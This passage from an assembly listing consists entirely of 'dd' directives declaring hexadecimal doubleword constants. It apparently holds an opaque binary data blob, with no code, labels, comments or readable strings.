335288FEh, 8B4972CCh, 810703A8h, 9809C89Eh dd 0C4D1Dh, 6CB56B6h, 8D71E26Ch, 0CE5A1E00h, 0E7CA1F57h dd 8404488Fh, 1606429h, 47F66316h, 8F806325h, 1D62E0ECh dd 0F301AB75h, 98CB71FDh, 16FAB61Bh, 2F82ACB1h, 0AD5D1000h dd 0D996A1C0h, 602FAC9h, 0DE95A2F0h, 5FD0C9ADh, 8175048h dd 1D47EF63h, 8FC1C072h, 5FFD0023h, 0A806FC29h, 69986A31h dd 0C09C2B24h, 348FCF12h, 0CFC02688h, 440D15Eh, 9715F57Ch dd 0B0E8A4CBh, 12B7A740h, 6763A6EBh, 8DC25E50h, 0AC311A19h dd 8DD0017h, 5E1384CCh, 54008847h, 33BF9180h, 101F48AAh dd 8EBB4109h, 0C001AC0Bh, 39D60330h, 13FA23C8h, 2722058Ch dd 0D7B8655Dh, 5772700Ch, 241322F8h, 8805B377h, 0A043A076h dd 0F0735D84h, 0E24D0B6Ch, 2E110E14h, 3B21C175h, 0F4FDACE5h dd 0A061D01Bh, 0A8BC26F9h, 8502A902h, 0D8A319B6h, 0AA21199Bh dd 0B1916Eh, 29078ACAh, 1E6CEA12h, 9A32DEFEh, 4441F11Ch dd 96998152h, 0AFA323ABh, 749010A4h, 0C301BA46h, 21A299DBh dd 4C52FAE7h, 28D94421h, 43301D90h, 592F8FC2h, 8EA8CE32h dd 8BC0F0A3h, 98355D10h, 3E128894h, 0F9008C6Fh, 8DFC9EEh dd 0F807762Ah, 33558F5Bh, 3F3C20E9h, 829A5445h, 2306850h dd 0A9B7D1D8h, 61700AAh, 134E435h, 0DAFC3F89h, 0DBB521C0h dd 95E7C6Eh, 8C9A4FC8h, 2C88B090h, 24A9A760h, 61DF2359h dd 11487054h, 88F82290h, 579AC0C4h, 8D462779h, 5F8F887Ah dd 50055ECh, 0BDAA0E78h, 0E7A4DD26h, 23829438h, 84605DBFh dd 64B1F135h, 0C0A1578Fh, 4CE36F64h, 0B2470472h, 0A2B5C288h dd 379A021Ch, 40A506EDh, 0AC8CC2Ah, 217031Dh, 0FD0E4EF4h dd 25F3809Ch, 0F9BF14A5h, 389BC902h, 63DCAB4Fh, 7D48E18Ch dd 591D0C23h, 2C110006h, 0B1C8AFB2h, 78AB2124h, 798E7F11h dd 7A1999C2h, 0D4100631h, 460208E0h, 0EAD22D92h, 26404110h dd 8084B511h, 0F28E0529h, 22B487h, 0DA7D668Ch, 511A2523h dd 38ACA600h, 8D7C2BAAh, 18565D63h, 1D447A29h, 199A8278h dd 931975E2h, 2940D712h, 0A40622F1h, 9C2F0C27h, 26882C48h dd 21D141E0h, 3C086CA7h, 64204F32h, 513312D5h, 0C870D05Fh dd 10A543E0h, 911A8EA4h, 4E410BEh, 0E2000B5Ch, 0C5B44A58h dd 60BEE448h, 6406315Ah, 0DB29E03Dh, 6BC0C00Ch, 91B8312Bh dd 65A00034h, 6884198h, 1782CE00h, 797321D6h, 0BDC1C09Bh dd 9CC10CDh, 0EF0574FCh, 946B2A8Fh, 0BCA054B6h, 8504D53Ch dd 0B0197C27h, 90CA9CF0h, 73AC9BB4h, 0A19260D4h, 0F1423E22h dd 85DD13F5h, 59102007h, 0CE009E9Ah, 7D1D154Eh, 96487B66h dd 0CE904D14h, 0C480EE04h, 26EBA190h, 5D028E6h, 4088B871h dd 2AD0F098h, 0E50EA111h, 436375A5h, 0D0B47D2Dh, 96979124h dd 2F1E1234h, 62354h, 2B77EF71h, 0EA263686h, 0DCC887h dd 56236B10h, 0BAF1B9Ah, 4D895813h, 107AC4C2h, 6DFAC91Ah dd 65EB1501h, 0BBACB755h, 48D3BF70h, 3E2C444Ah, 7C644F48h dd 0DD04A0C9h, 2426D500h, 0A36AD95Bh, 0C8560098h, 233EB7E2h dd 480C790Ah, 680D474Eh, 0E8779022h, 0ABC01CC8h, 0C0B25C66h dd 945B144Bh, 0C40187CDh, 0D998589Ah, 0A07BFA48h, 9E01978Bh dd 4C276FB3h, 0E7D0280Bh, 0FC2EF462h, 0FF8C1EA0h, 2FC640E8h dd 13D5CEC5h, 7653103h, 9048AC85h, 781D20Dh, 1ABDFF41h dd 0A3F3110Ch, 5163C05Fh, 34B16600h, 0FB176F3Dh, 76837848h dd 555C028Ch, 0BA7B23BBh, 160294F0h, 1B3599AFh, 71507138h dd 1D87185Ah, 0D6808BCBh, 4E0009EBh, 520054E4h, 2EFE1B18h dd 1EB32284h, 2F5FB93h, 43DEBCE8h, 244ACE7h, 0E5D9E360h dd 6E450501h, 53A93D9Ch, 8A81542Ch, 20A53F8Eh, 0C74A9FF7h dd 0BF7CAC00h, 0EF0CCBCh, 0C87082E6h, 0A7032402h, 5F8D8840h dd 945CA10Ah, 4AC080DFh, 46591272h, 3122D6h, 0C071C1EDh dd 0BACB96BDh, 9BFAF507h, 8088FCABh, 0A3D5B19Ah, 0CE046402h dd 6A731355h, 0FAF4B4C2h, 2032E500h, 0BE3A1400h, 91E901B3h dd 1B12DF00h, 853BD02Ch, 7EAA0041h, 54221D21h, 0C8B6B2E6h dd 882C97A7h, 1460AD5Dh, 56D038h, 24B028E4h, 747121A0h dd 3E2B0CC1h, 7C78AD13h, 798FFA0Ah, 4F7240A4h, 5A0024BDh dd 8D9305DCh, 9C0B2155h, 0B0467C74h, 0A582C33Eh, 0AF198BC8h dd 210058FAh, 237F6B46h, 88A49F37h, 8838B338h, 285C39h dd 5E763020h, 256B6F52h, 30972E90h, 0CE0046BDh, 0CB5ADE9Bh dd 0B7E60513h, 51D1AD0Bh, 32F86016h, 586A3F87h, 0F5D4F90h dd 0A9242D78h, 86A8A153h, 0E4518007h, 8D828BEh, 0D99C008Fh dd 0C027EA7Eh, 7102D491h, 7C4CE6D3h, 2700442Dh, 0C0143121h dd 97213660h, 135AC321h, 8C4CC2B7h, 0F21C3C24h, 7304FAD7h dd 0F100B538h, 0C80E2D8Ch, 7802865Ch, 4FB4D617h, 96761421h dd 0E1F993h, 0F2D39D92h, 8F03A194h, 0AB6B7DACh, 1672E0DBh dd 792E0021h, 0B89341D9h, 7C942D8Fh, 6560C944h, 27698E57h dd 75EC9620h, 0E3540184h, 278D2809h, 9F1980BAh, 39A38842h dd 0F89200C4h, 0C068A9B2h, 0D004E42Fh, 9EFE77E6h, 6AE064B5h dd 0DF0C002Bh, 67701D7Bh, 0BA007D5Fh, 0D419EC88h, 29E2A117h dd 6902C7Ah, 0F9980AABh, 0F8E8F958h, 0E82E8C33h, 712B512h dd 78BA3890h, 58573B6h, 0FCB21155h, 107CA322h, 1DC09C71h dd 8D484563h, 3822C243h, 8F7EDB00h, 0D632DCA4h, 0A9CE0204h dd 0A2FB12ADh, 27A5F882h, 0B07A451h, 8BC8545Fh, 906D946Ah dd 0A0C78D43h, 4ADF7955h, 86B84026h, 412A3702h, 308D873Fh dd 0DD12A1A5h, 82923852h, 0A42A00F4h, 0B9D60193h, 1A482497h dd 0BA5902E8h, 0E11D0AE3h, 0D7F10E24h, 9900CC68h, 0F504E6Dh dd 0B83CE4Fh, 40D6388h, 0ACEBD809h, 0DCF3A8E2h, 914A58h dd 1F438D64h, 0B379773Ch, 0FE1621CAh, 0C6707F00h, 17651CC9h dd 1EAA851Dh, 1E00E298h, 0F9038F44h, 0FECE0EEAh, 0E5CB0FECh dd 0B68F6294h, 8EA6BCC4h, 0AD909E78h, 0E553FAC0h, 43B83755h dd 0C0500858h, 138DD94Bh, 143DF62Ah, 9CD8261Bh, 0F46F5Fh dd 0D16645C5h, 5F9E41B1h, 2346E08h, 0C31FC8BEh, 9230C31Bh dd 611C0056h, 950B8655h, 6409B470h, 0CECB1090h, 0AC3E248Bh dd 9398213Bh, 59210246h, 444652F6h, 0FCE110F1h, 84D70E70h dd 0E520E8BCh, 4B6D658Eh, 22A59E12h, 84047825h, 0B8C06427h dd 26584697h, 0AF84E37Bh, 8B201C16h, 62B4988Eh, 216394Bh dd 44C82880h, 73269AACh, 58088CF7h, 31888A96h, 2EAB41D0h dd 5E19AD92h, 0A31930D2h, 0A077401h, 0B1C51AAh, 690CFFE0h dd 7F322D33h, 0A42620A5h, 0FE03BAE4h, 54308F4Ah, 6080A87Fh dd 293D000Ah, 7D219FFBh, 247547D2h, 67A15807h, 70D937E5h dd 94C44CFCh, 0B3D72EC0h, 9FEA9378h, 0A0045F0h, 0AF25B4B8h dd 25C5C6BAh, 14CD8E55h, 0BC44E8E0h, 0D117096Fh, 506C12D3h dd 0C5472885h, 0F27F6078h, 0BD3F7B90h, 4C1AE0Ch, 23617640h dd 0A9D31ED5h, 0B6CB048Dh, 0BB20817Ch, 0BCBC383Dh, 85008C02h dd 0DDA8DBC7h, 2F829C89h, 0F8908BCBh, 680735DCh, 3FDB1A80h dd 9EDF3CC7h, 0DE90A4h, 230817E3h, 8C24260Dh, 0E86A3325h dd 7034DE20h, 0BE4FB0D7h, 71D6829Ch, 8C71F9BFh, 8889BD97h dd 7A082C7Ch, 3600C4ACh, 30D20ECBh, 0C88CBC60h, 0AC465C8Ch dd 0B1D7F500h, 49BE5A96h dd 407E4817h, 402BAC22h, 804CD2F0h, 5E2735F5h, 3F8CA1ADh dd 0A8782A1Bh, 626F2E07h, 0C47F85E2h, 86F440F0h, 0A41BE94Fh dd 9AC46C17h, 0B5D50C03h, 74979A3Fh, 2355015Ch, 2A5B577Fh dd 4E23043Ah, 0A1671900h, 7D924ABAh, 0A0A1D327h, 2488805Ch dd 0F658027Fh, 0A4A3545Ah, 6000BCAAh, 0DE3A3498h, 2E2DF01Dh dd 3CEC4E85h, 74A24484h, 633031F2h, 1B970A81h, 9907E6Eh dd 175C9139h, 28A2610Dh, 27882C0Bh, 0C0FF06C5h, 7554091Eh dd 0A121D74h, 1097FE6Dh, 0C6B3191h, 0A350C0h, 0E064895Ah dd 417C4F9Fh, 0A8403AE7h, 530E17A2h, 609098A6h, 1B3C406Ch dd 0CCB2324Eh, 80B148h, 5485143Eh, 18B8ECEh, 0B7050FEBh dd 0EC242DACh, 0A30E6F82h, 0AA4E33C9h, 0BE01980Eh, 29F2CB98h dd 95BC48BCh, 542C6048h, 821B6108h, 9820A6B0h, 3704674h dd 6F8FAFDEh, 34D9B011h, 85B70377h, 6FBEB0Bh, 0DC82A024h dd 0C5465Eh, 1B0991D6h, 0B95B68BCh, 18A2D9D0h, 68DB8FBh dd 48A598EFh, 0F882F99Ch, 26591859h, 7C02F718h, 7E0BBB39h dd 1D785908h, 0B73A8BF5h, 3EC7C4C0h, 188AF820h, 283558B5h dd 44BEA71Ch, 56A00FD4h, 0ECE13774h, 0ED88235Dh, 0BCBC3C65h dd 0EAD4370h, 8333E914h, 0BA205A38h, 0A2286087h, 4788809Dh dd 5351AB6Eh, 70B10A4h, 5C3EF8A7h, 6C8419A9h, 880CCE5Fh dd 9A59C037h, 5C04899Dh, 4179C13Dh, 6751E0E0h, 58629ADh dd 0B04080F2h, 1B04538Dh, 9BFAF80Eh, 4C68A889h, 0CADE9BDh dd 0B6D000BAh, 0FF57B42h, 261333B7h, 7812D949h, 25F254E2h dd 1233730h, 455C5568h, 78870F8Ch, 43BEB8BCh, 7C9101AEh dd 5E339A4Eh, 3184183Ah, 0B65D854Ah, 42AE0188h, 0BD90630h dd 2A17E820h, 7886E18h, 20634E47h, 2309C150h, 0F0343515h dd 34924948h, 66A7990Bh, 11F49D08h, 6C448026h, 127EE391h dd 0C0A01B55h, 0B83E476Ch, 1544B74Dh, 0E09F79h, 0C558D809h dd 0FE61BC0h, 0D453213Dh, 0D5DBA9E0h, 0C0B0C9D0h, 4F161022h dd 90409727h, 9D41E568h, 54048F75h, 5C3D0367h, 2D25B0ACh dd 0FB0BE0E5h, 267E10h, 6AB7D8E4h, 0F4002F15h, 0FE1AC16Bh dd 59315898h, 0D51ADC71h, 6C5639D6h, 989C80E9h, 0F9E6FBh dd 3A9066A0h, 0B582A8Fh, 0F0CE2331h, 6463C192h, 23F02F5Bh dd 0DE2D03AFh, 788831Fh, 59313515h, 0A59921C3h, 185072FEh dd 19B03D8Bh, 0B1132F86h, 5CC44B12h, 229EC81h, 60238461h dd 33C088A7h, 2BA7A38h, 3EBC4523h, 0E8E077FCh, 8CB14CC2h dd 0C05CEDA7h, 619B09F2h, 1EACF45Ch, 2789474Ah, 21690B7Ch dd 23F3AEACh, 0C80F3039h, 0A1D839A5h, 0B2617686h, 96186851h dd 4F44A5C4h, 1A548CD7h, 0D6F19100h, 824D0421h, 6A7B0770h dd 0C6175185h, 0DCB299C9h, 24D53C4Fh, 2462C8Ch, 0E096E4A8h dd 0A87481D8h, 0A080C5A5h, 0CBE8B008h, 67860A08h, 0BA1C49ADh dd 9300C796h, 697AC45Fh, 0CBA9126Eh, 88F45622h, 9725030Ch dd 1B7C5Dh, 0C52C9019h, 6EFFA03Eh, 0BCC8C4B1h, 0AD60258Eh dd 486F1CC5h, 176267ADh, 212550D7h, 6600D51Ch, 640617FDh dd 4A33BBCEh, 0C40C8420h, 0C97CFC7Ch, 4F6C781Fh, 98FC8086h dd 2227FD2Ah, 97EC025Fh, 46EC50C4h, 9943B7Eh, 4582198Eh dd 8BE38160h, 609DFB07h, 1002305Ah, 85F802B8h, 0AC4D4F3h dd 82F8D327h, 34330B24h, 8F26F458h, 55D07C2Dh, 0FF0E8802h dd 7C1C49D2h, 1CE7A816h, 0E0041861h, 5BE31163h, 941C23C6h dd 0D273073h, 0A6FCE1EFh, 546A4821h, 1280F08Ch, 0B6FDA91Bh dd 2239AC06h, 0E291A72Ah, 0EA622504h, 7B6028EDh, 38644D0Dh dd 3E1E334Eh, 0A6324991h, 10DA6C91h, 1C670EFh, 5A81C3D9h dd 223D7DE7h, 428C008Ch, 5F90498Ah, 0DC665944h, 632E4D01h dd 6CA887D1h, 8C38B8A0h, 2D44AB00h, 0F826D757h, 0C0E39034h dd 220CA621h, 3909B24Eh, 48466AB4h, 81B148D4h, 0DCB0307Fh dd 800A6C3Fh, 17037053h, 196766D9h, 49191B7Bh, 0F0D8F9ABh dd 0F200E6C8h, 0CABE902Fh, 0BA65D5A4h, 0F01700C8h, 0B09AC82Eh dd 1201273Ah, 0C218B1AEh, 0D1C3DCADh, 5AE049B2h, 4DB4A198h dd 0A04443D2h, 1BE2318Dh, 0E848D7ADh, 0CFAC49A8h, 6452C503h dd 98B28122h, 3E6615A3h, 0B0BAD625h, 0EFD5B601h, 0ACCC92E0h dd 5F00B010h, 0B2508BAAh, 8D1712ABh, 3A1CA02Ch, 809C1B39h dd 0BC701D78h, 2A6D5FA6h, 1394FF79h, 0D0B8E749h, 7FBA153Ch dd 0FB460300h, 0BE8BFE86h, 4A520F28h, 4C806CE1h, 3A6AAAD8h dd 740A3016h, 78C4280Ch, 0DA100F61h, 0B60BA5FBh, 1300F872h dd 3C856912h, 67CE9Bh, 0FC92CAC3h, 87A86DB5h, 26E40249h dd 0E06E5090h, 92C0FEF6h, 296C0083h, 0BD732D98h, 3F00662Ah dd 910B13D7h, 0F6F942Fh, 4255DD9h, 306057C3h, 0D1D595E0h dd 0EB2ECD00h, 1EBB857Dh, 37690031h, 25E05D0Bh, 48C501AFh dd 0D4B409B4h, 485C0B3Ch, 0CC7095B8h, 0A86E6A26h, 4923F17h dd 3784427h, 405AC4Dh, 0BC9854DAh, 0A1026B29h, 9D3039C5h dd 0DC8429AFh, 0D3C04050h, 1C874F7Bh, 8C169CE2h, 0F1294279h dd 0DE140400h, 5B48910Ah, 59930362h, 51F4CD18h, 7A84DAA9h dd 0B2297020h, 0F8EF0197h, 7A105690h, 2EA87481h, 0CB571E0Eh dd 0F63B00F2h, 3D1B4B5h, 0D4ED9C2Ch, 0F4885529h, 0DE29ACE5h dd 0D0D504F5h, 29005879h, 73DA96ECh, 0FBAED30h, 167DAF78h dd 45F991C0h, 0B61F2FD0h, 0A2007523h, 155B06Eh, 0B540C0F6h dd 8A37B8A0h, 0E4AB5900h, 0C9404C9h, 0C6D71D8Fh, 3AC306B1h dd 611D716Ch, 4C38C1E1h, 7FB50035h, 0B6515A62h, 0EA1A008Dh dd 0E12E8B55h, 7701B703h, 75BE0CE9h, 71FC9D8Ch, 0FD5D00EAh dd 8F05B696h, 0DF1BE5EDh, 10981166h, 261CC8h, 0E74CB591h dd 607AC082h, 5915202Dh, 1380C19Dh, 2091C041h, 9A42E39h dd 4B01A00h, 0C90AE99Ch, 49500064h, 0C7AE5DDh, 0B60F63D0h dd 0A0ACE2C3h, 0B1C40E1Bh, 6ACB00B2h, 40D5462h, 5A377501h dd 0ACF0116Bh, 58064Ah, 3BDBF21Ah, 0FF761D04h, 14F66802h dd 8088435Fh, 4132B448h, 87991E8Bh, 0FBFE00DEh, 64F81237h dd 0D2FFC03h, 3CD57CEEh, 0FF87DE80h, 0C031061Bh, 0FA4B8A58h dd 8C044C3Dh, 1805608Fh, 0D0E45464h, 0CFC768Eh, 0F319188Dh dd 0C007C8Eh, 7205ECB3h, 1D976Ah, 2DAFA942h, 383FF932h dd 297E53E2h, 47928203h, 0E7506022h, 0E9C74287h, 0FFAA08D0h dd 20C656C7h, 0D9B280DDh, 3E4D6021h, 7B573Ah, 8D8616FEh dd 7BD72ECh, 896BD712h, 3BE6C34Ch, 55ED9B88h, 77E37C00h dd 58AFBF33h, 8130877Bh, 53713308h, 150014A8h, 9E475DE3h dd 0F2F8092Dh, 6B0F991Ch, 0DA16D380h, 2ED751h, 11D204B9h dd 0C6A94530h, 8CA34A4h, 418880BBh, 0A087DCB0h, 11280FC0h dd 0DDDE00AFh, 481B0ECBh, 0B2004B23h, 0BFA8A004h, 4D8E11Ch dd 49BDF643h, 6434806Bh, 17011D30h, 1F41759Eh, 0EECD044Dh dd 0CF649F8h, 21786492h, 1C447C28h, 28189237h, 42146A1Fh dd 2B581166h, 21F75611h, 69373F96h, 10141A79h, 42B2889Ah dd 80256355h, 0D93F3C0Fh, 76085EA1h, 0C296C62h, 46C0002Ch dd 1100FD9Bh, 0A934080Eh, 3CF71F9h, 7D4CBF88h, 0A5B0141Fh dd 0D3009586h, 7BC16E5Fh, 216B5Bh, 0C03DC5E6h, 53E16F48h dd 89808707h, 381C435h, 4E49714h, 0D53F00C6h, 0BAE336C1h dd 4C0A9CBDh, 0F3E5E25Eh, 96855B00h, 0A039E09Dh, 0E88BEA9h dd 0DA948130h, 5B3142DDh dd 416026B2h, 0C600D5D9h, 432057B6h, 0B824E798h, 64BB018Bh dd 21D35E9Eh, 0F63370AAh, 12B0D702h, 0E09D955Dh, 1DFD09D8h dd 40075E51h, 0EB318EBh, 6701925Ch, 0F397A27h, 60FC2847h dd 989F0FAEh, 84C1C76Fh, 0ECD404FAh, 3C00A6CDh, 0E76E3116h dd 389D8AC5h, 0EA837D55h, 6DBF70F9h, 47AB8788h, 45296800h dd 0BE7C412Fh, 160700A2h, 5F82ECBFh, 0BA013969h, 0D6284B24h dd 97D84FA6h, 712F618h, 36094091h, 5B8150E5h, 9C98B077h dd 89014B1Ch, 318500FBh, 0BF130F42h, 567300FBh, 88E1226Ch dd 38001797h, 834A53CAh, 79580Ah, 0F8A20F49h, 0E034B6E6h dd 0E718C300h, 0B58B1B1Ah, 64BA048Ch, 80CC2099h, 0B78F8396h dd 189AD133h, 9DB8003Eh, 5E547368h, 8C908A99h, 0EC84B300h dd 0B43BC74Eh, 96B7006Dh, 259E77C2h, 704C487Ah, 556100EAh dd 52C0AD7Fh, 0E3F700BDh, 20D40504h, 11048C4Ah, 0A4FDD774h dd 2E3BC0EEh, 92094671h, 0A0B90117h, 901A6CFCh, 1C4E0038h dd 36D0C7A2h, 0EE72E6A7h, 24F47D07h, 83004DF6h, 0AED321h dd 47C2D507h, 0FA729ADEh, 6870C70Ah, 5E03E086h, 0A1298803h dd 7EF0BC10h, 538403F8h, 1EAE6274h, 50DDB2A0h, 13D1E0FFh dd 0ABA22400h, 1BD33B33h, 299D09F8h, 0F08FF72Dh, 0C712DBC4h dd 0BA3A70E9h, 8F90C515h, 4FA7348h, 7E6B2694h, 294DC4C0h dd 0FC63FC52h, 0E567ECFh, 0A90B4531h, 0DCC89020h, 5800C2F2h dd 0A5516048h, 12B0C173h, 75666DBh, 0C0E9110Fh, 6D2EF6C2h dd 0AF0E7E00h, 0AC746981h, 3F70027h, 8B72DB4Eh, 6406DA47h dd 16336BCBh, 636C24C0h, 0D45103CFh, 4AF8C862h, 0AB03C3FEh dd 2B353191h, 756DD8C7h, 560E003Ch, 0C93D7C1Ch, 0F900634Dh dd 0C42143AFh, 1DF454h, 0B770015Fh, 4C747C82h, 0E33CF607h dd 0C4B09A1Ch, 5AAA2Bh, 87FEF2D1h, 0EA86A417h, 0EDA73F00h dd 566C7AF7h, 4E8F39E1h, 4775A200h, 0E20F46CCh, 2B32B300h dd 0AF0B6BFh, 58180E6Fh, 8200646Ah, 450EAE4Bh, 610043F0h dd 1B4AB95Bh, 0F74970Ah, 1E64703Bh, 5876BAA0h, 900204B1h dd 3F1F8231h, 8E1C47CFh, 4092B3AAh, 0CB07BA08h, 0AD24117Ch dd 600044D2h, 9865D419h, 5F253E6Ch, 1D75BC48h, 8013D323h dd 119343B5h, 1B007238h, 3C68E373h, 0ED1078B9h, 0BA8D8CBh dd 9BCA0035h, 0CB6CF2A4h, 11035438h, 0BE4A573Dh, 74B8C842h dd 6FD73F9Ch, 732F140Eh, 0DBEE46A0h, 8E2487A3h, 23000417h dd 0AE93FA61h, 3720011h, 0B0DBC459h, 0A0B05B01h, 99528B00h dd 0D70B9407h, 303EB8A2h, 461CFB9Ch, 74008CB4h, 7E5E638Fh dd 76D5AF3h, 0C947E457h, 1A443022h, 0C801810Ah, 92A7E9E0h dd 0A9ECF819h, 0CAF709BEh, 0D40012E1h, 0BA7CB2A2h, 0C67EA460h dd 1D6554h, 824DDEAEh, 0F5310377h, 0BD567607h, 3F5049EFh dd 7B135233h, 45970088h, 5EAEDAFh, 27002B6Eh, 370FB298h dd 714BB855h, 0B4FB3E40h, 63935005h, 751080B9h, 0DA0066D4h dd 0D7180E08h, 49B62777h, 280FA4CFh, 326314h, 0E7A4B9B0h dd 51E0A687h, 0B89D9A00h, 6FF964EEh, 0B4ECCAh, 12443A1h dd 22803DAFh, 926A0D00h, 4CB6D2F2h, 7B047431h, 28D7907h dd 280A235Ah, 1841D342h, 3D84F0F0h, 0C700CB7Bh, 2B5ADE57h dd 1413AE6h, 6B467392h, 0D8B854B4h, 0CA00C7F8h, 0D1128C4Ch dd 99EBB7h, 0D3CEBB69h, 61B31066h, 26C9500h, 8857222Bh dd 3BBC00E2h, 5FD8F1F2h, 0E300FC6Ah, 60AEFF52h, 0EB55511h dd 51F487E2h, 0E6254620h, 4002647h, 3572E5F6h, 298E20h dd 313B083Ah, 8C2834F0h, 0BAC0701h, 9DB3BF93h, 0EFE4D0h dd 0D7E3C0C2h, 13C8ED97h, 0CB39E500h, 12452D62h, 4BF300B8h dd 5E505347h, 2A488552h, 0B29E8078h, 0FAB3755Dh, 5873F9h dd 0B95A81FDh, 4E8CEB22h, 11713A7Eh, 0A4C30200h, 0A7DD050Eh dd 8BA55015h, 0FF80979Ch, 74083331h, 701A3Ch, 0AEC15B46h dd 5140F5C6h, 95D88F99h, 0CE2D0348h, 86644124h, 9BB946F0h dd 96C0D902h, 0E05ADFABh, 38796Fh, 4ECCAFD8h, 2F1B8C4Fh dd 7A66FA00h, 56809149h, 60C4000Ch, 0A88FE304h, 5C047B35h dd 99084FE7h, 61AA9080h, 0B87118AFh, 65A8F8A1h, 0A9722A00h dd 0FF79284Fh, 1649005Ah, 0CFCC05D0h, 0C53EAA2Eh, 0C1A10085h dd 48E36835h, 0E57D0049h, 29A91E30h, 0B01E5927h, 0FBCFFE87h dd 855E3FECh, 60D8E08Fh, 0FCA0A5AEh, 0A8747Ah, 0CD0A0C75h dd 4B3A7E89h, 80595225h, 7C9196ECh, 0C02450E9h, 0ECBB02D7h dd 0A4F03748h, 0F7C89C48h, 49035579h, 0E094A7D4h, 0B419F03Bh dd 96012C2Fh, 68A600C1h, 9F66EC16h, 0B4B8D372h, 31195600h dd 0D4AE81E3h, 0C51200B8h, 416326EDh, 0B2002F82h, 163955BEh dd 188AFDh, 3D1F9397h, 516B9DCEh, 7A04B303h, 8854E227h dd 22293Bh, 0C49B9E4Fh, 6BFBBCE9h, 3980F4Ch, 9FA3AAD1h dd 0A281E02Eh, 0AE3B00CAh, 14CF538Fh, 6A02AC87h, 0F1A3292Bh dd 2F12E0BEh, 0FC94001Bh, 84D1B39Fh, 6C004C57h, 44FBB8EEh dd 98B77F87h, 1379790Ch, 8FE77Ah, 0C795AEECh, 0FA7E4807h dd 81C4CE00h, 0A9C3F909h, 9A6A00F6h, 0AB165F28h, 153CFA1Bh dd 3105802Ch, 4438CA9Bh, 8E91002Ah, 0D46784D5h, 1A2ECEC2h dd 0CC00D2B2h, 3687545Dh, 9E8F037Ah, 3912C4A7h, 7577B4D0h dd 95A3B200h, 6519DDD2h, 46AC0E81h, 8980F25Ah, 89D5C25h dd 344D5F00h, 0E64E29F3h, 0E020380Ah, 0D81F5700h, 1DD1262Ch dd 30AFDC2Ch, 0C017A800h, 9066B0h, 75C24B98h, 2C345A53h dd 122D6700h, 0F3CA83FBh, 9D0A0036h, 92942BCCh, 56034908h dd 7BD282EFh, 4426B0F8h, 2EA01612h, 66A40259h, 8C604D2Dh dd 0F80965E0h, 0A0A255FEh, 26BDAFA4h, 0EF38003Bh, 0D442A9B1h dd 0C900E9C1h, 0A3F3063Ch, 589CA44Eh, 0A70B7493h, 440055D8h dd 0CC413D02h, 0E6146100h, 0C6C7BCE0h, 464D024Bh, 841A8193h dd 0E2169CC8h, 360020F0h, 594DCFE5h, 0B8FD305Eh, 0ADA30064h dd 0DCA64542h, 0F3169D7Fh, 0CC4EBACDh, 0C45B814Fh, 0C7019E3Fh dd 0E538707Fh, 0D3C29507h, 0CD081E0h, 0B9EDFBh, 52321A5Eh dd 66292C41h, 0A7B7D901h, 0F09967F1h, 0EDBCC4h, 7B09E2C7h dd 67E976Ch, 312CDC00h, 0C5D7B3BEh, 0B8B05Dh, 666959EAh dd 441CCDE6h, 0AC29A100h, 0DBF6891h, 0CA422E72h, 0AD00384Bh dd 73A49335h, 0F80044B7h, 74FBC86Eh, 0FC6085h, 0F151A270h dd 2D155762h, 9CFF4Ch, 530BAA13h, 3E5964E3h, 9B0065C9h dd 7BFEA008h, 0F607AE19h, 253D0D18h, 5D5ABAA0h, 3E50007Eh dd 15B1F0B5h, 28001AF9h, 0CC925541h, 7DC1C23h, 813CD767h dd 54E73047h, 4A003B03h, 31EA0721h, 39AC2CF3h, 9D80E597h dd 0C10E2A78h, 40714DEh, 0E0453C59h, 8C3030B7h, 0E98574Fh dd 0D1C84175h, 16315EE0h, 12001B2Bh, 702DB676h, 51DE4Bh dd 39909744h, 36F8B08h, 0E0E70400h, 0F352D1A0h, 502F6F6Ch dd 908D85E4h, 272CDBD4h, 0F3B03F00h, 24E80C0Bh, 55CA0103h dd 0A040D24Dh, 1DCC3063h, 2B572E04h, 9880620Dh, 3CA152h dd 0EE59DCD2h, 724D49D8h, 7C608D00h, 39E2A37h, 0F0B689h dd 0D936475Ch, 960FB5A9h, 0C04C3A9Dh, 0E7870E14h, 0CAEE0057h dd 31300A77h, 23001FC3h, 0A5504DD4h, 0A6B485h, 64BA8D69h dd 0EF9BA825h, 7276B000h, 0CFB5CE4Bh, 0B83924B9h, 0E45B07A4h dd 46B4401Bh, 8F12BBA6h, 8C058CA0h, 1880253Ah, 4CC4FD82h dd 844C827Dh, 0B4BE2C70h dd 54DB0064h, 1B814BD0h, 0CE166300h, 2B20FF7Eh, 0F8114AD7h dd 0D6B60083h, 5E879634h, 5BE30401h, 80B29716h, 0D4BB54A8h dd 0DC08741Fh, 39EB9140h, 0FEF3C4h, 864C535Eh, 30367F27h dd 0BDF5A30Eh, 0EC8833F8h, 40409C94h, 0B7F30D2h, 15CDA200h dd 0C61C1258h, 0A64B0096h, 68FA64C7h, 0E31F24C9h, 0DBC35193h dd 0F8E29CA8h, 7992E8DDh, 0A7E0BD33h, 844D6A38h, 61FF0B30h dd 0DE238FA0h, 88BA3040h, 3094E9Bh, 0E8C9035Bh, 5C03C521h dd 0A2056B5Dh, 67EAD8F9h, 34AE12CAh, 26FC0036h, 417F2FCh dd 727C5700h, 29021C05h, 3C647EB6h, 7D81AD9Dh, 4E81B31Eh dd 1033C071h, 8711F93Fh, 0B6B0E715h, 40DE72D7h, 0DB7A2B4Eh dd 0D1100067h, 0EFBAA902h, 0C1001299h, 0B08AB72Dh, 0A5A4AF1h dd 9BB2F48Eh, 9F9000B4h, 87CEC5CAh, 6E02BC96h, 0C466601Dh dd 0C4F350FCh, 0B2AE1256h, 0FAA840EAh, 57EE183h, 8CAAAB00h dd 0DE9E998Dh, 0B6B313A9h, 0C4C81D53h, 0F4821395h, 8D3D2274h dd 1F0F3888h, 2A017E6Bh, 55FBA150h, 1C3BE6CCh, 403794BEh dd 0AF9BDB11h, 0C5099107h, 80D83583h, 0E98BB9A8h, 621207A7h dd 0F00ED04Eh, 501CD08h, 0E54DB000h, 0E485DD2Dh, 865D0673h dd 21165A95h, 0DF3B061Ch, 9040C397h, 9997EC6Fh, 62C60FC1h dd 0CB40304Dh, 46529D1Ch, 959E3700h, 4E289663h, 8CD20110h dd 2DA8659Ch, 0BF33FCD0h, 0B1366D03h, 0E37407CAh, 0F049AB18h dd 722BB1Bh, 0C52C4B6Bh, 3C98F092h, 1109402Bh, 0A2BCECh dd 88FA7BA4h, 0D4500068h, 0A46DC7EAh, 460157A7h, 21980603h dd 8DF893FAh, 45E3489Dh, 54EC1D01h, 0FCBB4827h, 5200B1FCh dd 910CFD8Eh, 0E5F5FBh, 2C9892CEh, 